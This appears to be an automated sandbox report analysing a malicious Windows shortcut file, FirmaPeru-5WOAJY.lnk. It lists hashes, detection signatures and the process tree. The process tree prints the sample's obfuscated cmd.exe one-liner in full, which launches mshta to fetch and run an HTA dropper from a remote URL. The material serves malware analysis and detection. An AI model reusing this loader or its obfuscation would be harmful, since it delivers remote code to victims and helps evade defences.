Analysis
- max time kernel
60s - max time network
52s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
17/08/2026, 16:15
General
- Target FirmaPeru-5WOAJY.lnk
- Size 2KB
- Sample260817-tqmebsvamd
- SHA256 53062c6c584d734ce9c8a4ff04e59cc57e4088c410dac7e51b6cf2cb784576ca
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-5WOAJY.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set Tp=cachetkvcvycache&&set FuJs=sysinaosys&&set ouQQA=oldqnyamold&&set GjY=infkdaoibxwcsgcyminf&&set AFADg=tmpaczvxpizdjtmp&&set HgUyD=sysnruiwjvridthsrsys&&set SJLa=sysmfvomipifwcjtmhsys&&set MRNc=bakmeabmoyhwpvbbak&&set vZFUS=1stah1s&&set sdvt=lzcrw2&&set Xcusy=e3uti&&set JgNyP=dataqnicmpuvripverehpmdat&&set BAP=datqpsyjmidat&&set QXiPT=1mshd&&set kAy=lkst4&&set NjGBT=6f5az&&set hEh=datcsqdmuumdat&&set vYa=netqimulxsrxawnet&&set sWzC=h@t@t@ps:@//@m@-@[email protected]@a@t@/@h@/[email protected]@h@p?r=@26@1@A6@CF5@4@682&&start /b !QXiPT:~1,3!!kAy:~3,1!!NjGBT:~3,1! !sWzC:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exemshta https://m-firma.lat/h/estagio1.php?r=261A6CF546823⤵
-
-